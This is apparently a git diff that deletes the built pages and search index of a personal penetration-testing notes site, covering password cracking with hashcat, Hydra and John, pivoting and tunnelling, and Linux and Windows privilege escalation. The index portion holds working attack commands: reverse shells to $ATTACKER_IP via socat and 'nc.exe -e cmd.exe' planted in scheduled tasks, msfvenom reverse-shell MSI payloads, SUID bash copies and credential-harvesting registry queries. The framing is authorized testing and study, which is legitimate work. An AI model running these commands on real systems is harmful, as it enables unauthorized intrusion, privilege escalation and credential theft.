    • -
  • SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}
    • -
  • SYSTEM\CurrentControlSet\Services\dam\UserSettings\{SID}
    • -
-

Devices

-
    -
  • Identification
      -
    • USB -> SYSTEM\CurrentControlSet\Enum\USBTOR, SYSTEM\CurrentControlSet\Enum\USB
      • -
    -
    • -
  • Device name -> SOFTWARE\Microsoft\Windows Portable Devices\Devices
    • -
  • First time connected -> SYSTEM\CurrentControlSet\Enum\USBSTOR\Ven_Prod_Version\USBSerial#\Properties\{83da6326-97a6-4088-9453-a19231573b29}\0064
    • -
  • Last time connected -> SYSTEM\CurrentControlSet\Enum\USBSTOR\Ven_Prod_Version\USBSerial#\Properties\{83da6326-97a6-4088-9453-a19231573b29}\0066
    • -
  • Last removal time -> SYSTEM\CurrentControlSet\Enum\USBSTOR\Ven_Prod_Version\USBSerial#\Properties\{83da6326-97a6-4088-9453-a19231573b29}\0067
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/hashes/generate_wordlists.html b/build/hashes/generate_wordlists.html deleted file mode 100644 index b484d70..0000000 --- a/build/hashes/generate_wordlists.html +++ /dev/null @@ -1,233 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Generate Wordlists

- -

Cupp

-
    -
  • cupp
      -
    • Interactive dialogue via cupp.py -i
      • -
    • Wordlistdownload via cupp.py -l
      • -
    • Connections to alecto DB via -a
      • -
    -
    • -
-

crunch

-
crunch <minlen> <maxlen> <charPool> -o <output.file>
-
- -
    -
  • Option -t specifies variable characters
      -
    • @, lower case alpha characters
      • -
    • ,, upper case alpha characters
      • -
    • %, numeric characters
      • -
    • ^, special characters including space
      • -
    -
    • -
-
crunch 8 8 -t passw%%rd
-
- -

ttpassgen

-
    -
  • ttpassgen
    • -
  • Generate lists from the ground up
    • -
  • pip install ttpassgen
    • -
-
ttpassgen --rule '[?d]{6:6:*}' 6digitpins.txt
-
- -
ttpassgen --rule '[?l]{1:5:*}' all_letter_combinations.txt
-
- -
ttpassgen --dictlist "in.txt,in2.txt" --rule '$0[_]?$1' -s " " out.txt
-
- -

exrex

-
    -
  • Generate all possible outcomes from regex string
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/hashes/haiti.html b/build/hashes/haiti.html deleted file mode 100644 index 174d840..0000000 --- a/build/hashes/haiti.html +++ /dev/null @@ -1,181 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

haiti

-
    -
  • Hash Identifier
    • -
-
haiti <hash>
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/hashes/hashcat_utils.html b/build/hashes/hashcat_utils.html deleted file mode 100644 index 3689888..0000000 --- a/build/hashes/hashcat_utils.html +++ /dev/null @@ -1,204 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Hashcat Utilities

- -

Wordlists

-
    -
  • Combine wordlists
    • -
-
combinator wordlist.txt otherwordlist.txt > newwordlist.txt
-
- -
    -
  • Create wordlist
    • -
-
hashcat --force <input.txt> -r /opt/hashcat/rules/best64.rule --stdout > wordlist.txt
-
- -

Using Masks

-
    -
  • A mask can be set instead of a wordlist, this charset is then brute forced by iterating the charset
    • -
  • Masks
    • -
  • Bruteforcing seven lowerspace characters using SHA2-384 as an example
    • -
-
hashcat -m 10800 -a 3 hash.out ?l?l?l?l?l?l?l
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/hashes/password_cracking/hydra.html b/build/hashes/password_cracking/hydra.html deleted file mode 100644 index f90d758..0000000 --- a/build/hashes/password_cracking/hydra.html +++ /dev/null @@ -1,214 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Hydra usage

-

Examples

-
    -
  • HTTP post form
    • -
-
hydra -l <username> -P <wordlist> MACHINE_IP http-post-form "/:username=^USER^&password=^PASS^:F=incorrect" -V
-
- -
    -
  • HTTP basic auth
    • -
-
hydra -l bob -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -f 10.10.167.239 http-get /protected
-
- -

|Command|Description| -|-------|-----------| -|hydra -P <wordlist> -v <ip> <protocol>|Brute force against a protocol of your choice| -|hydra -v -V -u -L <username list> -P <password list> -t 1 -u <ip> <protocol>|You can use Hydra to bruteforce usernames as well as passwords. It will loop through every combination in your lists. (-vV = verbose mode, showing login attempts)| -|hydra -t 1 -V -f -l <username> -P <wordlist> rdp://<ip>|Attack a Windows Remote Desktop with a password list.| -|hydra -l <username> -P .<password list> $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'|Craft a more specific request for Hydra to brute force.|

-

Parameter

-

|Option|Decription| -|------|----------| -|-l|Single username| -|-P|Indicates use the following wordlist| -|http-post-form|indicates the method| -|/login url|the login URL| -|:username|the form field where the username is entered| -|^USER^|tells Hydra to use the username from -l| -|password|the formfield where the password is entered| -|^PASS^|tells Hydra to use the wordlist from -P| -|Login|indicates to Hydra the login failed message| -|Login failed|is the login failure message that the form returns| -|F=incorrect|If this word appears on the page, login failed| -|-V| verbose|

- -
-
- - - - - - - \ No newline at end of file diff --git a/build/hashes/password_cracking/john.html b/build/hashes/password_cracking/john.html deleted file mode 100644 index 6e82e89..0000000 --- a/build/hashes/password_cracking/john.html +++ /dev/null @@ -1,233 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

John The Ripper

- -

Usage

-
    -
  • Example
    • -
-
john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt ./hash.txt --format=raw-sha256 --fork=2
-
- -

Declaring Structure

-
    -
  • List subformat
    • -
-
john --list=subformats
-
- -
john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt ./hash.txt --format=dynamic_85 --fork=2
-
- -

Rules

-
    -
  • Rule syntax
    • -
  • Create a local rules file, e.g. /etc/john-local.conf or /usr/share/john/john-local.conf
    • -
  • Create config for mutations, e.g. border mutation
    • -
-
[List.Rules:border]
-$[0-9]$[0-9]
-
- -
    -
  • Run john with parameter --rules=border
    • -
-

Existing Rules

-
    -
  • l33t, l33tsp34k
    • -
  • NT, case mutation
    • -
  • Example for best64
    • -
-
john --wordlist=single_password.txt --rules=best64 --stdout > out.txt
-
- -

Subformats

-
    -
  • Some salted passwords need dynamic rules
    • -
-
john --list=subformats
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/hashes/password_cracking/smb_challenge.html b/build/hashes/password_cracking/smb_challenge.html deleted file mode 100644 index 28fe1cf..0000000 --- a/build/hashes/password_cracking/smb_challenge.html +++ /dev/null @@ -1,200 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

SMB Response Request

-
    -
  • Network traffic of the SMB handshake is needed
    • -
  • Fields are
      -
    • username
      • -
    • domain
      • -
    • server challenge
      • -
    • ntproofstring
      • -
    • NTLMv2Response with ommited hex of type like 'ntlmProofStr' at the start
      • -
    -
    • -
-

Usage

-
    -
  • Format the fields
    • -
-
username::domain:serverChallenge:ntproofstring:NTLMv2Response
-
- -
    -
  • Use john to decrypt
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/hashes/password_cracking/sucrack.html b/build/hashes/password_cracking/sucrack.html deleted file mode 100644 index 4dc504d..0000000 --- a/build/hashes/password_cracking/sucrack.html +++ /dev/null @@ -1,182 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

sucrack

-
    -
  • Repo
    • -
  • Upload to target and build
    • -
-
sucrack -u <username> -w 100 <wordlist>
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/hashes/password_cracking/vnc.html b/build/hashes/password_cracking/vnc.html deleted file mode 100644 index 2b24e6b..0000000 --- a/build/hashes/password_cracking/vnc.html +++ /dev/null @@ -1,181 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

VNC Password Decoding

-
    -
  • Found passwords in vnc config files may be decoded via
    • -
-
 echo -n "<key>" | xxd -r -p |  openssl enc -des-cbc --nopad --nosalt -K 5AB2CDC0BADCAF13F1 -iv 0000000000000000 -d | hexdump -Cv
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/hashes/password_guessing/standard_passwords.html b/build/hashes/password_guessing/standard_passwords.html deleted file mode 100644 index 1ddbe77..0000000 --- a/build/hashes/password_guessing/standard_passwords.html +++ /dev/null @@ -1,185 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Initial Passwords

- - -
-
- - - - - - - \ No newline at end of file diff --git a/build/index.html b/build/index.html deleted file mode 100644 index fa280f1..0000000 --- a/build/index.html +++ /dev/null @@ -1,291 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Pentesting

- -

Campaign

-
    -
  • Checklist
    • -
  • -

    vectr.io

    -
    • -
  • -

    Engagement --> Concept of Operations (CONOPS), Resource and Personnel Requirements, Timelines

    -
    • -
  • Operations --> Operators, Known Information, Responsibilities
    • -
  • Mission --> Exact commands to run and execution time of the engagement
    • -
  • Remediation --> Report, Remediation consultation
    • -
-

Methodology

-
    -
  • Steps
      -
    • Reconnaissance
      • -
    • Enumeration/Scanning
      • -
    • Gaining Access
      • -
    • Privilege Escalation
      • -
    • Covering Tracks
      • -
    • Reporting
      • -
    -
    • -
-

Reconnaissance

-
    -
  • Duck / SearX / metacrawler / google
    • -
  • Wikipedia
    • -
  • Shodan.io
    • -
  • PeopleFinder.com
    • -
  • who.is
    • -
  • sublist3r
    • -
  • hunter.io
    • -
  • builtwith.com
    • -
  • wappalyzer
    • -
-

Enumeration

-
    -
  • nmap
    • -
  • nikto
    • -
  • gobuster
    • -
  • dirbuster
    • -
  • metasploit
    • -
  • enum4linux / linpeas / winpeas / linenum
    • -
-

Exploitation

-

Post Exploitation

-
    -
  • Pivoting
    • -
-

Privilege Escalation

-
    -
  • Vertically or horizontally
    • -
-

Covering Tracks

-

Reporting

-
    -
  • Includes
      -
    • Vulnerabilities
      • -
    • Criticality
      • -
    • Description
      • -
    • Countermeasures
      • -
    • Finding summary
      • -
    -
    • -
-

Frameworks

- -

Testing Webapps

-
    -
  • Two methods
    • -
  • Every Page and its functions one by one
    • -
  • Test by stages
      -
    • Authorization
      • -
    • Authentication
      • -
    • Injection
      • -
    • Client Side Controls
      • -
    • Application Logic
      • -
    -
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/index.json b/build/index.json deleted file mode 100644 index 17260d2..0000000 --- a/build/index.json +++ /dev/null @@ -1 +0,0 @@ -{"index":[{"content":"Pentesting* [Pentesting Execution Standard](http://www.pentest-standard.org/index.php/Main_Page)\nAuthorized audit of security systems of computers and networks.\n* [Rules of Engagement -- Cheat Sheet](https://sansorg.egnyte.com/dl/bF4I3yCcnt/?) and [redteam.guide ROEs](https://redteam.guide/docs/templates/roe_template/)\n * Permissions\n * Engagement --> internal/external pentest or adversary emulation of APTs\n * Scope --> networks, IPs, exfilration of data, which stage, downtime, DDoS\n * Rules\n* NDA\n\n## Campaign\n* [Checklist](https://redteam.guide/docs/checklists/red-team-checklist/)\n* [vectr.io](https://vectr.io)\n\n* Engagement --> Concept of Operations (CONOPS), Resource and Personnel Requirements, Timelines\n* Operations --> Operators, Known Information, Responsibilities\n* Mission --> Exact commands to run and execution time of the engagement\n* Remediation --> Report, Remediation consultation\n\n## Methodology\n\n* Steps\n * Reconnaissance\n * Enumeration/Scanning\n * Gaining Access\n * Privilege Escalation\n * Covering Tracks\n * Reporting\n\n### Reconnaissance\n* Duck / SearX / metacrawler / google\n* Wikipedia\n* [Shodan.io](http://www.shodan.io)\n* PeopleFinder.com\n* who.is\n* sublist3r\n* hunter.io\n* builtwith.com\n* wappalyzer\n\n### Enumeration\n* nmap\n* nikto\n* gobuster\n* dirbuster\n* metasploit\n* enum4linux / linpeas / winpeas / linenum\n\n### Exploitation\n\n### Post Exploitation\n* Pivoting\n#### Privilege Escalation\n* Vertically or horizontally\n\n#### Covering Tracks\n\n#### Reporting\n* Includes\n * Vulnerabilities\n * Criticality\n * Description\n * Countermeasures \n * Finding summary\n\n## Frameworks\n* [OSSTMM3](https://www.isecom.org/OSSTMM.3.pdf)\n* [NIST](https://www.nist.gov/cyberframework)\n* [CAF](https://www.ncsc.gov.uk/collection/caf/caf-principles-and-guidance)\n\n## Testing Webapps\n\n* Two methods\n1. Every Page and its functions one by one\n2. Test by stages \n * Authorization\n * Authentication\n * Injection\n * Client Side Controls\n * Application Logic\n","description":"","tags":[],"title":"Pentesting","uri":"README.html"},{"content":"Pivoting\n* Tunnelling/Proxying\n* Port Forwarding\n\n## Enumeration \n### Using material found on the machine and preinstalled tools\n* `arp -a`\n* `/etc/hosts` or `C:\\Windows\\System32\\drivers\\etc\\hosts`\n* `/etc/resolv.conf`\n* `ipconfig /all`\n* `nmcli dev show`\n* [Statically compiled tools](https://github.com/andrew-d/static-binaries.git)\n\n### Scripting Techniques\n```sh\nfor i in {1..255}; do (ping -c 1 192.168.0.${1} | grep \"bytes from\" &); done\nfor i in {1..65535}; do (echo > /dev/tcp/192.168.0.1/$i) >/dev/null 2>&1 && echo $i is open; done\n```\n* Using local tools through a proxy like `nmap`\n\n## Tools\n\n* Enumerating a network using native and statically compiled tools\n\n### Proxychains / FoxyProxy\n\n* In need of dynamic port forwarding execute a reverse proxy on the jumpserver to reach the attacker's proxychains\n ```sh\n ssh @$ATTACKER_IP -R 9050 -N\n ```\n* Proxychains, e.g. scan target via nmap, or connect via nc through jump server\n ```sh\n proxychains nc \n proychains nmap \n proxychains ssh user@$TARGET_IP\n proxychains evil-winrm -i $TARGET_IP -u $USER -p $PASS\n proxychains wget http://$TARGET_IP:8000/loot.zip\n ```\n * Use `/etc/proxychains.conf` or `./proxychains.conf`containing:\n ```sh\n [ProxyList]\n # add proxy here ...\n # meanwhile\n # defaults set to \"tor\"\n socks4 127.0.0.1 9050\n #socks5 127.0.0.1 1337\n # proxy_dns\n ``` \n* FoxyProxy, choose proxy type, proxy IP and port in settings \n\n### SSH port forwarding and tunnelling (primarily Unix)\n\n* LocalPortForwarding\n ```sh\n ssh -L $LOCAL_PORT:: @ -fN\n ```\n * Another possibility to use the jumpserver directly on it's cli via `ssh @ -L *:$LOCAL_PORT:127.0.0.1:80 -N`. One can connect now to the target via the jumpserver\n * Tip: open port on windows target via\n ```sh\n netsh advfirewall firewall add rule name=\"new port\" dir=in action=allow protocol=TCP localport=%PORT%\n ```\n\n* Dynamic Port Forwarding\n ```sh\n ssh -D $PORT @ -fN\n ```\n\n* Reverse Proxy, if there is an SSH client on the jumpserver but no SSH server via\n ```sh\n ssh -R $LOCAL_PORT:$TARGET_IP:$TARGET_PORT USERNAME@$ATTACKER_IP(local) -i $KEYFILE -fN\n ```\n * Tip1: create a user on the attacker to receive the connection without compromising your own password\n * Tip2: use `-N` to not receive an interactive shell. The attacking user does not necessarily have one on the target\n\n### plink.exe (Windows)\n* [latest version](https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html)\n```sh\ncmd.exe /c echo y | .\\plink.exe -R :: @ -i -N\n```\n* Key generation\n ```sh\n puttygen -o key.ppk\n ```\n* Circumvention, described by [U.Y.](https://medium.com/@informationsecurity/remote-ssh-tunneling-with-plink-exe-7831072b3d7d) \n```sh\necho y | &.\\plink.exe -ssh -l -pw -R ::127.0.0.1: \n```\n\n### Socat\n\n* Reverse shell on target via\n ```sh\n ./socat tcp-l:8000 tcp::443 &\n ```\n * Attacking bind shell\n ```sh\n sudo nc -lvnp 443\n ```\n\n* Relay on jumpserver via\n ```sh\n ./socat tcp-l:33060,fork,reuseaddr tcp::3306 &\n ```\n\n* Quiet Port Forwarding\n * On attacker\n ```sh\n socat tcp-l:8001 tcp-l:8000,fork,reuseaddr &\n ```\n * On relay server\n ```sh\n ./socat tcp::8001 tcp::,fork &\n ```\n * Open `localhost:8000`\n\n* Processes are backgrounded via `&`. Therefore, the process can be quit by using the corresponding bg number like `kill %1`.\n\n* In need of a Download on target, expose a port on the attacker via relay\n ```sh\n socat tcp-l:80,fork tcp:$ATTACKER_IP:80\n ```\n\n### Chisel\n* **Does not require SSH on target**\n* Reverse Proxy\n * Bind port on attacker\n ```sh\n ./chisel server -p --reverse &\n ```\n * Reverse port on target/proxy\n ```sh\n ./chisel client : R:socks &\n ```\n * `proxychains.conf` contains\n ```sh\n [ProxyList]\n socks5 127.0.0.1 \n ```\n\n* Forward SOCKS Proxy\n * Proxy/compromised machine\n ```sh\n ./chisel server -p --socks5\n ```\n * On attacker\n ```sh\n ./chisel client : :socks\n ```\n* Remote Port Forward\n * On attacker\n ```sh\n ./chisel server -p --reverse &\n ```\n * On forwarder\n ```sh\n ./chisel client : R::: &\n ```\n* Local Port Forwarding\n * On proxy\n ```sh\n ./chisel server -p \n ```\n * On attacker\n ```sh\n ./chisel client : ::\n ```\n\n### sshuttle\n* `pip install sshuttle`\n* `sshuttle -r @ `\n* or automatically determined\n```sh\nsshuttle -r @ -N\n```\n* Key based auth\n```sh\nsshuttle -r @ --ssh-cmd \"ssh -i \" \n```\n* Exclude servers via `-x`, for example the target/gateway server\n\n### Meterpreter\n* Meterpreter with payload `set payload linux/x64/meterpreter_reverse_tcp` after successful connection do\n```sh\nportfwd add -l 22 -p 22 -r 127.0.0.1\n```\n\n#### Meterpreter Auto Routing\n\n* Upload payload and catch it with `multi/handler`\n```\nbackground\nuse post/multi/manage/autoroute\nset session 1\nset subnet <10.0.0.0>\nrun\n```\n\n#### Meterpreter Proxy Routing\n\n* Specify socks proxy via\n```sh\nuse auxiliary/server/socks_proxy\n```\n* Set proxychain on attacker accordingly\n\n### rpivot\n\n* [klsecservices' repo](https://github.com/klsecservices/rpivot.git)\n* [Their windows binary release](https://github.com/klsecservices/rpivot/releases/tag/v1.0)\n\n## Links\n\n* [Shadowmove at the adepts of 0xcc](https://adepts.of0x.cc/shadowmove-hijack-socket/)\n","description":"","tags":[],"title":"Pivoting","uri":"post exploitation/pivoting.html"},{"content":"Linux Exploit Suggester 2\n=========================\n\nNext-generation exploit suggester based on [Linux_Exploit_Suggester](https://github.com/PenturaLabs/Linux_Exploit_Suggester)\n\nKey Improvements Include:\n* More exploits! (Last updated: March 27, 2019)\n* Option to download exploit code directly from Exploit DB\n* Accurate wildcard matching. This expands the scope of searchable exploits.\n* Output colorization for easy viewing.\n* And more to come!\n\nThis script is extremely useful for quickly finding privilege escalation vulnerabilities both in on-site and exam environments. \n\nUsage\n==============\n\nWhen run without arguments, the script performs a 'uname -r' to grab the Linux operating system release version, and returns a list of possible exploits. Links to CVEs and applicable exploit POCs are included. Keep in mind that a patched/back-ported patch may fool this script.\n\n```\n$ ./linux-exploit-suggester.pl\n\n Local Kernel: 4.4.0\n Searching among 73 exploits...\n\n Possible Exploits\n [1] af_packet\n CVE-2016-8655\n Source: http://www.exploit-db.com/exploits/40871\n [2] dirty_cow\n CVE-2016-5195\n Source: http://www.exploit-db.com/exploits/40616\n [3] exploit_x\n CVE-2018-14665\n Source: http://www.exploit-db.com/exploits/45697\n [4] get_rekt\n CVE-2017-16695\n Source: http://www.exploit-db.com/exploits/45010\n```\n\nUse the **-k** flag to manually enter a wildcard for the kernel/operating system release version.\n\n```\n$ ./linux-exploit-suggester.pl -k 3\n```\n\nUse the **-d** flag to open a download menu to retrieve exploit code directly from Exploit DB. You can either download all exploits or select them individually by number.\n\n```\n$ ./linux-exploit-suggester.pl -d\n\n Exploit Download\n (Download all: 'a' / Individually: '2,4,5' / Exit: ^c)\n Select exploits to download: a\n\n Downloading https://www.exploit-db.com/raw/40871 -> exploit_af_packet\n Downloading https://www.exploit-db.com/raw/40616 -> exploit_dirty_cow\n Downloading https://www.exploit-db.com/raw/45697 -> exploit_exploit_x\n Downloading https://www.exploit-db.com/raw/45010 -> exploit_get_rekt\n```\n\nUse the **-h** flag to display the help menu\n\nContributing\n============\n\nThis project is in active development. Feel free to suggest a new feature or open a pull request!\n","description":"","tags":[],"title":"","uri":"post exploitation/priv_esc/kernel-exploits/linux-exploit-suggester-2/README.html"},{"content":"pspy\n* Snoop processes withou root permissions\n* [Repo](https://github.com/DominicBreuker/pspy.git)\n\n","description":"","tags":[],"title":"pspy","uri":"post exploitation/priv_esc/docs/pspy.html"},{"content":"Linux Privilege Escalation\n## Links\n* [Basics](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\n* [LinEnum](https://github.com/rebootuser/LinEnum)\n* [Smart Enumeration](https://github.com/diego-treitos/linux-smart-enumeration/blob/master/lse.sh)\n* [Linux Exploit Suggester](https://github.com/mzet-/linux-exploit-suggester)\n* [GTFObins](https://gtfobins.github.io/) \n* [Linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)\n\n## Kernel Exploits\n\n### Dirty COW\n* [CVE-2016-5195](https://dirtycow.ninja/)\n* [c0w.c](../kernel-exploits/dirtycow)\n\n## Stored Keys & Passwords\n* History\n* Environment Variables \n* Config + Dot Files\n* SSH keys\n```sh\nfind / -type f -name \"authorized_keys\" -o -name \"id_rsa\" 2>/dev/null\n```\n\n## Permissions\n* Weak permissions\n* Umask\n* Unshadow via `unshadow /etc/passd /etc/shadow > unshadow.txt` and john or hashcat.\n * e.g. `john --wordlist=./wordlist --format=crypt hash`\n* SUID\n * list\n ```sh\n find / -perm /6000 -ls 2>dev/null\n ```\n * [Shared object injection](../../../exploit/linux/shared_object_injection.md)\n * [CVE-2016-1247](https://www.cvedetails.com/cve/CVE-2016-1247/)\n* User specific files\n```sh\nfind / -user root -name \"*.txt\"\n```\n\n## Sudo Binary\n* [Baron Samedit](../../../exploit/linux/sudo/baron_samedit.md)\n* [CVE-2019-14287](../../../exploit/linux/sudo/CVE_2019_14287.md)\n* [CVE-2019-18634](../../../exploit/linux/sudo/CVE_2019_18634.md)\n* [LD_PRELOAD](../../../exploit/linux/ld_preload.md)\n* `sudo -l` \n * Take a look at GTFObins\n * Keep an eye on the displayed host and env capabilities \n \n## PATH Hijacking\n* Interpositioning binaries via PATH\n * Look for binaries used in other bins and scripts\n * Interposition name and add the directory in front of `$PATH`\n\n## Bash function\n* Interpositioning of binaries via bash functions\n```sh\nfunction /path/to/binary() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }\n```\n```sh\nexport -f /path/to/binary\n```\n* Call binary which invokes this function\n\n## Environment Variable\n```sh\nenv -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '; set +x; /tmp/bash -p'\n```\n\n## Capabilities\n* [capabilities](../../../exploit/linux/capabilities.md)\n\n## Crontab\n* Check `cat /etc/crontab`\n* Check writable scripts and binaries that are scheduled\n* Check `$PATH` order\n\n## NFS Rootsquash\n* [nfs rootsquash](../../../exploit/linux/nfs_rootsquash.md)\n","description":"","tags":[],"title":"Linux Privilege Escalation","uri":"post exploitation/priv_esc/docs/linux_priv_esc.html"},{"content":"Windows Privilege Escalation\n## Links\n\n* [Fundamentals](https://www.fuzzysecurity.com/tutorials/16.html)\n* [PowerShellEmpire](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp)\n* [JAWS](https://github.com/411Hall/JAWS)\n* [winpeas](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS)\n* [privescheck](https://github.com/itm4n/PrivescCheck)\n* [windows exploit suggester](https://github.com/bitsadmin/wesng)\n* [hacktricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)\n\n## Account Types\n\n* __Administrator__ local & domain\n* __Standard__ local & domain\n* __Guest__\n* __System__, local system, final escalation\n* __Local Service__, got anonymous connections over network.\n* __Network Service__, default service account, authentication via network\n\n## Enumeration\n\n### Users & Groups\n\n```sh\nwhoami /priv\nnet users\nnet users \nnet localgroup\nnet localgroup \nquery session\nqwinsta\n```\n\n### Files\n\n* [powershell](../../../../enumeration/windows/powershell.md)\n\n### System\n\n```sh\nhostname\nsysteminfo | findstr /B /C:\"OS Name\" /C:\"OS Version\"\n```\n* Installed software, check for existing exploits\n```sh\nwmic product get name,version,vendor\n```\n* Services\n```sh\nwmic service list brief | findstr \"Running\"\n```\n\n### Logfiles and Registry\n\n```sh\ncmdkey /list\n```\n* Keys containing passwords\n```\nreg query HKLM /f password /t REG_SZ /s\nreg query HKCU /f password /t REG_SZ /s\n```\n\n### AD Credentials\n\n* Check AD's NTDS (configuration database), SYSVOL (policy distribution through the domain)\n```sh\nGet-ADUser -Filter * -Properties * | select Name,SamAccountName,Description\n```\n\n#### NTDS\n\n* Check user description of AD users\n* NTDS consists of three tables\n * Schema\n * Link\n * Data type\n* Located under `C:\\Windows\\NTDS`\n* File is locked by AD at runtime\n* A System Bootkey is need to dump the NTDS\n\n## Exploit\n\n* __Use found credentials__\n```sh\nrunas /savecred /user: reverse_shell.exe\n```\n\n### DLL Hijacking\n\n* [DLL hijacking](../../../../exploit/windows/dll_hijacking/dll_hijacking.md)\n\n### Unquoted Service Path\n\n* [unquoted service path](../../../../exploit/windows/docs/unquoted_path.md)\n\n### Token Impersonation\n\n* `SeImpersonatePrivilege` is necessary, check via `whoami priv`\n* Hot Potato is best before Server 2019 and Windows 10 (version 1809)\n* [Potatos](../../../../exploit/windows/docs/potatoes.md)\n* [itm4n](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)\n\n### Schedules Tasks\n\n* `schtasks` and `schtasks /query /tn %TASK_NAME% /fo list /v`\n* `Autoruns64.exe`\n\n### MSI Elevated Installer\n\n* [Always install elevated](../../../../exploit/windows/docs/always_installed_elevated.md)\n\n\n### accesschk64 Permissions\n\n* Check access to files and folders\n```sh\naccesschk64 -wvu \"file.exe\"\n```\n* If permission `SERVICE_CHANGE_CONFIG` is set\n```sh\n sc config binpath=\"net localgroup administrators user /add\"\n```\n* [Service escalation](../../../../exploit/windows/service_escalation/service_escalation.md)\n* Any other binary works as well. Copy the compiled portable executable from the `service_escalation` onto the binary path.Restart the service afterwards.\n\n#### accesschk64 for Services\n\n```sh\naccesschk64 -qlc \"service.exe\"\n```\n* If permission `SERVICE_ALL_ACCESS` is set it is configurable upload a reverse shell\n```sh\nicacls C:\\Windows\\Temp\\shell.exe /grant Everyone:F\n```\n* Reconfigure and restart service\n```sh\nsc config TheService binPath= \"C:\\Path\\to\\shell.exe\" obj= LocalSystem\nsc stop TheService\nsc start TheService\n```\n\n### Startup Application\n\n* Put reverse shell instead of an executable inside `C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup` \n\n### Password Mining\n\n* Set up metasploit\n```sh\nuse auxiliary/server/capture/http_basic\nset srvport 7777\nset uripath pass\n```\n* Visit site on target\n\n### Unattended Windows Installation\n\n* Investigate the following paths to potentially find user credentials\n```sh\nC:\\Unattend.xml\nC:\\Windows\\Panther\\Unattend.xml\nC:\\Windows\\Panther\\Unattend\\Unattend.xml\nC:\\Windows\\system32\\sysprep.inf\nC:\\Windows\\system32\\sysprep\\sysprep.xml\n```\n* Watch out for the `` tags\n\n### Powershell History file\n\n```sh\nGet-Content %userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt\n```\n\n### Internet Information Services (IIS)\n\n* Default web server on windows\n* Paths containing credentials are the following\n```sh\nC:\\inetpub\\wwwroot\\web.config\nC:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\web.config\n```\n\n### Putty \n\n* Saved proxy password credentials may be found via\n```sh\nreg query HKEY_CURRENT_USER\\Software\\SimonTatham\\PuTTY\\Sessions\\ /f \"ProxyPassword\" /s\n```\n\n### schtask and icacls\n\n* Check `schtasks /query /tn %TASK_NAME% /fo list /v`\n* Check script for scheduled tasks, `F` means full access\n```sh\nicacls \n```\n* Put payload inside the script\n```sh\necho \"C:\\tmp\\nc.exe -e cmd.exe %ATTACKER_IP% 4711\" > \n```\n* Run the task\n```sh\nschtasks /run /tn \n```\n\n### Always Installs Elevated\n\n* These should be set\n```sh\nC:\\> reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer\nC:\\> reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer\n```\n\n* Craft `*.msi` file with a payload\n```sh\nmsfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f msi -o wizard.msi\n```\n\n* Upload and execute via\n```sh\nmsiexec /quiet /qn /i C:\\Windows\\Temp\\wizard.msi\n```\n\n### Service Misconfiguration\n\n* Check services, watch out for `BINARY_PATH_NAME` and `SERVICE_START_NAME`\n```sh\nsc qc apphostsvc\n```\n* Check found permissions via\n```sh\nicacls \n```\n* If the service binary path is writeable move the payload to its path and grant permissions\n```sh\nicacls /grant Everyone:F\n```\n```sh\nsc stop \nsc start \n```\n* Catch the reverse shell service\n\nOthers ways are:\n* Discretionary Access Control 